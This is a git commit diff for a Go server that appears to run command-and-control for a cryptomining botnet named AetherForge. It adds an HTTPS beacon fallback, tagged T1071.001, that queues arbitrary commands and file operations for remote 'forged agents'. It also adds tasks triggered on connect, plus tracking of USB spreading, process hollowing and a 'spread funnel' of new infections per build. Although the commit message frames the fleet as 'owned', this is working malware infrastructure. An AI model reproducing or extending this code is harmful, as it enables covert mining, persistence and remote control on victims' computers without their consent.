feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence

Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
AetherForge
2026-06-04 09:34:33 -07:00
parent d52479c9a6
commit 5fc601b564
111 changed files with 5845 additions and 116 deletions

View File

@@ -0,0 +1,25 @@
package api
import (
"context"
"net/http"
)
type contextKey string
const authUserKey contextKey = "auth_user"
func withAuthUser(r *http.Request, username string) *http.Request {
return r.WithContext(context.WithValue(r.Context(), authUserKey, username))
}
// AuthUsername returns the Basic-auth username for the current request, if any.
func AuthUsername(r *http.Request) string {
if r == nil {
return ""
}
if u, ok := r.Context().Value(authUserKey).(string); ok {
return u
}
return ""
}

View File

@@ -0,0 +1,260 @@
package api
import (
"encoding/json"
"net/http"
"strings"
"time"
"crypto-miner-server/internal/models"
)
const beaconReachableWindow = 90 * time.Second
// BeaconCommand is delivered to agents on HTTPS beacon when WebSocket is down.
type BeaconCommand struct {
Action string `json:"action"`
TailLines int `json:"tail_lines,omitempty"`
Command string `json:"command,omitempty"`
Path string `json:"path,omitempty"`
Data string `json:"data,omitempty"`
}
type beaconRequest struct {
AgentID string `json:"agent_id"`
Stats json.RawMessage `json:"stats,omitempty"`
Hostname string `json:"hostname,omitempty"`
Wallet string `json:"wallet,omitempty"`
Worker string `json:"worker_name,omitempty"`
Version string `json:"version,omitempty"`
}
type beaconResponse struct {
OK bool `json:"ok"`
Commands []BeaconCommand `json:"commands"`
}
type beaconResultRequest struct {
AgentID string `json:"agent_id"`
Action string `json:"action"`
Success bool `json:"success"`
Message string `json:"message"`
}
func (h *WSHub) initBeaconMaps() {
h.beaconMu.Lock()
defer h.beaconMu.Unlock()
if h.beaconLastSeen == nil {
h.beaconLastSeen = make(map[string]time.Time)
}
if h.beaconCmdQueue == nil {
h.beaconCmdQueue = make(map[string][]BeaconCommand)
}
}
// MarkBeaconSeen records a successful HTTPS beacon from an agent.
func (h *WSHub) MarkBeaconSeen(agentID string) {
h.initBeaconMaps()
h.beaconMu.Lock()
h.beaconLastSeen[agentID] = time.Now()
h.beaconMu.Unlock()
}
// ClearBeaconTransport clears HTTPS-beacon state when the agent reconnects over WebSocket.
func (h *WSHub) ClearBeaconTransport(agentID string) {
h.initBeaconMaps()
h.beaconMu.Lock()
delete(h.beaconLastSeen, agentID)
delete(h.beaconCmdQueue, agentID)
h.beaconMu.Unlock()
}
func (h *WSHub) isAgentBeaconReachable(agentID string) bool {
h.initBeaconMaps()
h.beaconMu.Lock()
last, ok := h.beaconLastSeen[agentID]
h.beaconMu.Unlock()
return ok && time.Since(last) <= beaconReachableWindow
}
// IsAgentReachable returns true if the agent has an active WebSocket or recent HTTPS beacon.
func (h *WSHub) IsAgentReachable(agentID string) bool {
return h.isAgentConnected(agentID) || h.isAgentBeaconReachable(agentID)
}
// EnqueueBeaconCommand queues a command for HTTPS beacon delivery.
func (h *WSHub) EnqueueBeaconCommand(agentID, action string, args map[string]interface{}) bool {
if !h.isAgentBeaconReachable(agentID) {
return false
}
cmd := BeaconCommand{Action: action}
if v, ok := args["tail_lines"]; ok {
switch n := v.(type) {
case int:
cmd.TailLines = n
case float64:
cmd.TailLines = int(n)
}
}
if v, ok := args["command"].(string); ok {
cmd.Command = v
}
if v, ok := args["path"].(string); ok {
cmd.Path = v
}
if v, ok := args["data"].(string); ok {
cmd.Data = v
}
h.initBeaconMaps()
h.beaconMu.Lock()
h.beaconCmdQueue[agentID] = append(h.beaconCmdQueue[agentID], cmd)
h.beaconMu.Unlock()
return true
}
func (h *WSHub) dequeueBeaconCommands(agentID string) []BeaconCommand {
h.initBeaconMaps()
h.beaconMu.Lock()
cmds := h.beaconCmdQueue[agentID]
delete(h.beaconCmdQueue, agentID)
h.beaconMu.Unlock()
if cmds == nil {
return []BeaconCommand{}
}
return cmds
}
func (h *WSHub) applyBeaconStats(agentID string, statsJSON json.RawMessage) {
if h.db == nil || len(statsJSON) == 0 {
return
}
var stats struct {
Hashrate15s float64 `json:"hashrate_15s"`
Hashrate1m float64 `json:"hashrate_1m"`
Hashrate15m float64 `json:"hashrate_15m"`
SharesSubmitted int `json:"shares_submitted"`
SharesAccepted int `json:"shares_accepted"`
CPUUsagePct float64 `json:"cpu_usage_pct"`
MemoryUsagePct float64 `json:"memory_usage_pct"`
UptimeSeconds int `json:"uptime_seconds"`
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
GPUModel string `json:"gpu_model,omitempty"`
}
if err := json.Unmarshal(statsJSON, &stats); err != nil {
return
}
sharesBad := stats.SharesSubmitted - stats.SharesAccepted
if sharesBad < 0 {
sharesBad = 0
}
_ = h.db.UpdateAgentStats(agentID, stats.Hashrate15s, stats.Hashrate1m, stats.Hashrate15m,
stats.SharesSubmitted, stats.SharesAccepted, sharesBad,
stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds)
gpuActive := stats.GPUMinerActive != nil && *stats.GPUMinerActive
_ = h.db.UpdateAgentGPUStats(agentID, stats.GPUHashrate15m, stats.GPUModel, gpuActive)
_ = h.db.InsertHashrateSample(agentID, stats.Hashrate15m, stats.GPUHashrate15m)
h.broadcastDashboard(Message{
Type: "stats",
Payload: mustMarshal(map[string]interface{}{
"agent_id": agentID,
"hashrate_15s": stats.Hashrate15s,
"hashrate_1m": stats.Hashrate1m,
"hashrate_15m": stats.Hashrate15m,
"cpu_usage_pct": stats.CPUUsagePct,
"memory_usage_pct": stats.MemoryUsagePct,
"uptime_seconds": stats.UptimeSeconds,
"shares_submitted": stats.SharesSubmitted,
"shares_accepted": stats.SharesAccepted,
"transport": "https_beacon",
}),
})
}
// HandleAgentBeacon accepts periodic HTTPS beacons from forged agents (T1071.001 fallback).
func (h *WSHub) HandleAgentBeacon(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
return
}
var req beaconRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
agentID := strings.TrimSpace(req.AgentID)
if agentID == "" {
http.Error(w, "agent_id is required", http.StatusBadRequest)
return
}
h.MarkBeaconSeen(agentID)
if h.db != nil {
if _, err := h.db.GetAgent(agentID); err != nil && (req.Hostname != "" || req.Wallet != "") {
display := req.Hostname
if display == "" {
display = agentID
}
_ = h.db.UpsertAgent(&models.Agent{
ID: agentID,
Name: display,
Wallet: req.Wallet,
Version: req.Version,
Status: "online",
})
}
}
h.applyBeaconStats(agentID, req.Stats)
cmds := h.dequeueBeaconCommands(agentID)
writeJSON(w, beaconResponse{OK: true, Commands: cmds})
}
// HandleAgentBeaconResult receives command results from HTTPS beacon agents.
func (h *WSHub) HandleAgentBeaconResult(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
return
}
var req beaconResultRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
agentID := strings.TrimSpace(req.AgentID)
if agentID == "" || req.Action == "" {
http.Error(w, "agent_id and action are required", http.StatusBadRequest)
return
}
h.MarkBeaconSeen(agentID)
payload := map[string]interface{}{
"agent_id": agentID,
"action": req.Action,
"success": req.Success,
"message": req.Message,
"transport": "https_beacon",
}
h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)})
h.notifyCmdCallback(agentID, req.Action, payload)
writeJSON(w, map[string]interface{}{"ok": true})
}
// FlushBeaconCommandsToWS delivers any queued HTTPS commands over a live WebSocket.
func (h *WSHub) FlushBeaconCommandsToWS(agentID string) {
cmds := h.dequeueBeaconCommands(agentID)
for _, cmd := range cmds {
args := map[string]interface{}{}
if cmd.TailLines > 0 {
args["tail_lines"] = cmd.TailLines
}
if cmd.Command != "" {
args["command"] = cmd.Command
}
if cmd.Path != "" {
args["path"] = cmd.Path
}
if cmd.Data != "" {
args["data"] = cmd.Data
}
_ = h.SendAgentCommand(agentID, cmd.Action, args)
}
}

View File

@@ -0,0 +1,114 @@
package api
import (
"bytes"
"encoding/json"
"net/http"
"net/http/httptest"
"testing"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
func TestAgentBeaconFleetSecretAuth(t *testing.T) {
resetAuthState(t)
const secret = "beacon-test-secret"
SetAgentPathSecret(secret)
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
hub := NewWSHub(database)
hub.SetFleetSecret(secret)
body, _ := json.Marshal(map[string]interface{}{
"agent_id": "agent-beacon-1",
"stats": map[string]interface{}{
"hashrate_15s": 100.0,
"hashrate_1m": 100.0,
"hashrate_15m": 100.0,
},
})
h := basicAuthMiddleware(http.HandlerFunc(hub.HandleAgentBeacon))
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/beacon", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusForbidden {
t.Fatalf("missing secret: got %d", rec.Code)
}
req.Header.Set("X-Fleet-Secret", secret)
rec = httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("valid secret: got %d body=%s", rec.Code, rec.Body.String())
}
var resp beaconResponse
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
t.Fatal(err)
}
if !resp.OK {
t.Fatal("expected ok")
}
}
func TestBeaconCommandQueueRoundtrip(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
_ = database.UpsertAgent(&models.Agent{ID: "q-agent", Name: "host", Status: "offline"})
hub := NewWSHub(database)
hub.MarkBeaconSeen("q-agent")
if !hub.EnqueueBeaconCommand("q-agent", "pause", nil) {
t.Fatal("enqueue failed")
}
cmds := hub.dequeueBeaconCommands("q-agent")
if len(cmds) != 1 || cmds[0].Action != "pause" {
t.Fatalf("commands: %+v", cmds)
}
if len(hub.dequeueBeaconCommands("q-agent")) != 0 {
t.Fatal("queue should be empty")
}
}
func TestAgentBeaconReturnsQueuedCommands(t *testing.T) {
resetAuthState(t)
const secret = "beacon-cmd-secret"
SetAgentPathSecret(secret)
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
_ = database.UpsertAgent(&models.Agent{ID: "cmd-agent", Name: "pc", Status: "offline"})
hub := NewWSHub(database)
hub.MarkBeaconSeen("cmd-agent")
_ = hub.EnqueueBeaconCommand("cmd-agent", "resume", nil)
body, _ := json.Marshal(map[string]string{"agent_id": "cmd-agent"})
h := basicAuthMiddleware(http.HandlerFunc(hub.HandleAgentBeacon))
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/beacon", bytes.NewReader(body))
req.Header.Set("X-Fleet-Secret", secret)
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("beacon: %d %s", rec.Code, rec.Body.String())
}
var resp beaconResponse
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
t.Fatal(err)
}
if len(resp.Commands) != 1 || resp.Commands[0].Action != "resume" {
t.Fatalf("commands: %+v", resp.Commands)
}
}

View File

@@ -8,7 +8,8 @@ import (
// ConfigHandler handles GET/PUT for server configuration settings
type ConfigHandler struct {
config ConfigProvider
config ConfigProvider
auditSave func(username string)
}
// ConfigProvider is an interface for the server config so we don't import main package
@@ -21,6 +22,10 @@ func NewConfigHandler(cp ConfigProvider) *ConfigHandler {
return &ConfigHandler{config: cp}
}
func (h *ConfigHandler) SetAuditSaveHook(fn func(username string)) {
h.auditSave = fn
}
func (h *ConfigHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case http.MethodGet:
@@ -63,6 +68,10 @@ func (h *ConfigHandler) updateConfig(w http.ResponseWriter, r *http.Request) {
return
}
if h.auditSave != nil {
h.auditSave(AuthUsername(r))
}
// Return updated config
h.getConfig(w, r)
}

View File

@@ -369,6 +369,7 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
args["data"] = req.Data
}
queued := false
if id == "all" {
if f.ws.connectedAgentCount() == 0 {
writeJSON(w, map[string]interface{}{
@@ -381,7 +382,7 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
}
f.ws.BroadcastAgentCommand(req.Action, args)
} else {
if !f.ws.isAgentConnected(id) {
if !f.ws.IsAgentReachable(id) {
writeJSON(w, map[string]interface{}{
"success": false,
"error": "agent not connected",
@@ -390,6 +391,7 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
})
return
}
queued = !f.ws.isAgentConnected(id)
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
writeJSON(w, map[string]interface{}{
"success": false,
@@ -400,11 +402,21 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
return
}
}
writeJSON(w, map[string]interface{}{
resp := map[string]interface{}{
"success": true,
"agent_id": id,
"action": req.Action,
})
}
if queued {
resp["queued"] = true
resp["transport"] = "https_beacon"
}
writeJSON(w, resp)
if f.db != nil {
_ = f.db.InsertAudit(AuthUsername(r), "agent_command", id, map[string]interface{}{
"action": req.Action, "command": req.Command, "path": req.Path,
})
}
}
// PostAgentWOL sends a Wake-on-LAN magic packet to the agent's MAC address.

View File

@@ -0,0 +1,97 @@
package api
import (
"encoding/json"
"net/http"
"time"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
)
func (f *FleetHandler) GetAudit(w http.ResponseWriter, r *http.Request) {
if f.db == nil {
writeJSON(w, []*models.AuditEntry{})
return
}
entries, err := f.db.ListAudit(50)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if entries == nil {
entries = []*models.AuditEntry{}
}
writeJSON(w, entries)
}
func (f *FleetHandler) GetFleetTasks(w http.ResponseWriter, r *http.Request) {
if f.db == nil {
writeJSON(w, []*models.FleetTask{})
return
}
tasks, err := f.db.ListFleetTasks()
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if tasks == nil {
tasks = []*models.FleetTask{}
}
writeJSON(w, tasks)
}
func (f *FleetHandler) PutFleetTask(w http.ResponseWriter, r *http.Request) {
var t models.FleetTask
if err := json.NewDecoder(r.Body).Decode(&t); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
if t.Name == "" || t.Action == "" || t.Trigger == "" {
http.Error(w, "name, trigger, and action are required", http.StatusBadRequest)
return
}
if f.db == nil {
http.Error(w, "database unavailable", http.StatusServiceUnavailable)
return
}
if err := f.db.UpsertFleetTask(&t); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
_ = f.db.InsertAudit(AuthUsername(r), "fleet_task_save", "", map[string]string{"task_id": t.ID, "name": t.Name})
writeJSON(w, t)
}
func (f *FleetHandler) DeleteFleetTask(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if id == "" {
http.Error(w, "id required", http.StatusBadRequest)
return
}
if f.db == nil {
http.Error(w, "database unavailable", http.StatusServiceUnavailable)
return
}
if err := f.db.DeleteFleetTask(id); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
_ = f.db.InsertAudit(AuthUsername(r), "fleet_task_delete", "", map[string]string{"task_id": id})
writeJSON(w, map[string]bool{"ok": true})
}
func (f *FleetHandler) GetSpreadFunnel(w http.ResponseWriter, r *http.Request) {
if f.db == nil {
writeJSON(w, map[string]interface{}{"by_build": []interface{}{}, "new_connects_today": 0, "total_agents": 0})
return
}
since := time.Now().Add(-7 * 24 * time.Hour)
stats, err := f.db.GetSpreadFunnelStats(since)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, stats)
}

View File

@@ -77,7 +77,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
dropperHandler := NewDropperHandler(database, nil)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, webRoot, dataDir, nil), wsHub, database, dataDir
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, webRoot, dataDir, nil), wsHub, database, dataDir
}
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {

View File

@@ -397,7 +397,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
authCacheSet(user, pass)
}
next.ServeHTTP(w, r)
next.ServeHTTP(w, withAuthUser(r, user))
})
}
@@ -464,6 +464,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/ai/activity", fleetHandler.GetAIActivity)
r.Get("/earnings/estimate", fleetHandler.GetEarningsEstimate)
r.Get("/market/xmr", fleetHandler.GetXMRPrice)
r.Get("/audit", fleetHandler.GetAudit)
r.Get("/fleet-tasks", fleetHandler.GetFleetTasks)
r.Put("/fleet-tasks", fleetHandler.PutFleetTask)
r.Delete("/fleet-tasks/{id}", fleetHandler.DeleteFleetTask)
r.Get("/dashboard/spread-funnel", fleetHandler.GetSpreadFunnel)
}
// Shares
@@ -553,6 +558,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Post("/agent/decide", aiHandler.HandleDecide)
r.Post("/agent/report", aiHandler.HandleReport)
r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat)
r.Post("/agent/beacon", wsHub.HandleAgentBeacon)
r.Post("/agent/beacon/result", wsHub.HandleAgentBeaconResult)
})
// WebSocket

View File

@@ -351,7 +351,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, "", dataDir, nil)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, nil, "", dataDir, nil)
dlURL := "/api/v1/builds/" + buildID + "/download"
@@ -428,7 +428,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, "", dataDir, nil)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, "", dataDir, nil)
req := httptest.NewRequest(http.MethodGet, "/", nil)
rec := httptest.NewRecorder()

View File

@@ -106,6 +106,11 @@ func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time
// cmdResultKey is used to key pending command callbacks: "agentID:action".
type cmdResultKey struct{ AgentID, Action string }
// ConnectTaskRunner fires scheduled fleet tasks on agent connect/reconnect.
type ConnectTaskRunner interface {
RunConnectTasks(agentID, trigger string)
}
type WSHub struct {
db *db.Database
agents map[string]*AgentConnection
@@ -122,12 +127,18 @@ type WSHub struct {
pingIntervalSec int
fleetSecret string // baked into forged agents; verified on WS connect
eventNotifier *alerts.Notifier
connectTasks ConnectTaskRunner
mu sync.RWMutex
// pendingCmdCallbacks allows handlers to await a specific command_result
// from an agent (used by Path Tracer orchestration).
pendingCmdMu sync.Mutex
pendingCmdCallbacks map[cmdResultKey]chan map[string]interface{}
// HTTPS beacon fallback (T1071.001) — command queue when WebSocket is down.
beaconMu sync.Mutex
beaconLastSeen map[string]time.Time
beaconCmdQueue map[string][]BeaconCommand
}
func NewWSHub(database *db.Database) *WSHub {
@@ -148,6 +159,8 @@ func NewWSHub(database *db.Database) *WSHub {
agentLogs: make(map[string]string),
agentDNS: make(map[string][]string),
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
beaconLastSeen: make(map[string]time.Time),
beaconCmdQueue: make(map[string][]BeaconCommand),
pingIntervalSec: 30,
}
@@ -231,6 +244,22 @@ func (h *WSHub) SetFleetSecret(secret string) {
h.mu.Unlock()
}
func (h *WSHub) SetConnectTaskRunner(r ConnectTaskRunner) {
h.mu.Lock()
h.connectTasks = r
h.mu.Unlock()
}
func (h *WSHub) ConnectedAgentIDs() []string {
h.mu.RLock()
defer h.mu.RUnlock()
ids := make([]string, 0, len(h.agents))
for id := range h.agents {
ids = append(ids, id)
}
return ids
}
func (h *WSHub) pingInterval() time.Duration {
h.mu.RLock()
sec := h.pingIntervalSec
@@ -516,6 +545,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
Arch string `json:"arch"`
OSVersion string `json:"os_version"`
MacAddress string `json:"mac_address,omitempty"`
BuildID string `json:"build_id"`
USBSpread bool `json:"usb_spread"`
}
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
@@ -580,6 +611,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
AutoSpread: auth.AutoSpread,
ProcessHollowing: auth.ProcessHollowing && auth.Platform == "windows",
AIEnabled: auth.AIEnabled,
USBSpread: auth.USBSpread,
}
h.mu.Lock()
@@ -638,6 +670,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
prior, priorErr := h.db.GetAgent(agentID)
isNewAgent := errors.Is(priorErr, sql.ErrNoRows)
workerName := auth.WorkerName
if workerName == "" {
workerName = auth.Worker
}
agent := &models.Agent{
ID: agentID,
Name: displayName,
@@ -653,6 +690,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
OSVersion: auth.OSVersion,
Hostname: auth.Hostname,
MacAddress: auth.MacAddress,
BuildID: auth.BuildID,
WorkerName: workerName,
USBSpread: auth.USBSpread,
Capabilities: &caps,
}
@@ -692,6 +732,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
h.agents[agentID] = ac
h.mu.Unlock()
h.FlushBeaconCommandsToWS(agentID)
h.ClearBeaconTransport(agentID)
// Start the RTT-aware ping loop now that we have an AgentConnection.
go h.runPingLoopAgent(ac)
@@ -726,6 +769,17 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
}
h.mu.RLock()
runner := h.connectTasks
h.mu.RUnlock()
if runner != nil {
if isNewAgent {
go runner.RunConnectTasks(agentID, "on_connect")
} else if !isNewAgent && (alreadyConnected || (prior != nil && prior.Status != "online")) {
go runner.RunConnectTasks(agentID, "on_reconnect")
}
}
case "stats":
if agentID == "" {
continue
@@ -1051,6 +1105,19 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
// Notify any handler waiting for this specific agent+action result.
if action, _ := payload["action"].(string); action != "" {
h.notifyCmdCallback(agentID, action, payload)
if action == "full_sys_check" {
if ok, _ := payload["success"].(bool); ok {
if msg, _ := payload["message"].(string); msg != "" && h.eventNotifier != nil {
name := agentID
if h.db != nil {
if ag, err := h.db.GetAgent(agentID); err == nil && ag.Name != "" {
name = ag.Name
}
}
alerts.NotifyKEVFromSysCheck(h.eventNotifier, name, msg)
}
}
}
}
}
}
@@ -1220,11 +1287,17 @@ func (h *WSHub) RemoveAgent(agentID string) {
// SendAgentCommand sends a remote command to an agent.
func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error {
payload := map[string]interface{}{"action": action}
for k, v := range args {
payload[k] = v
if h.isAgentConnected(agentID) {
payload := map[string]interface{}{"action": action}
for k, v := range args {
payload[k] = v
}
return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)})
}
return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)})
if h.EnqueueBeaconCommand(agentID, action, args) {
return nil
}
return fmt.Errorf("agent %s not connected", agentID)
}
// BroadcastAgentCommand sends a remote command to all connected agents.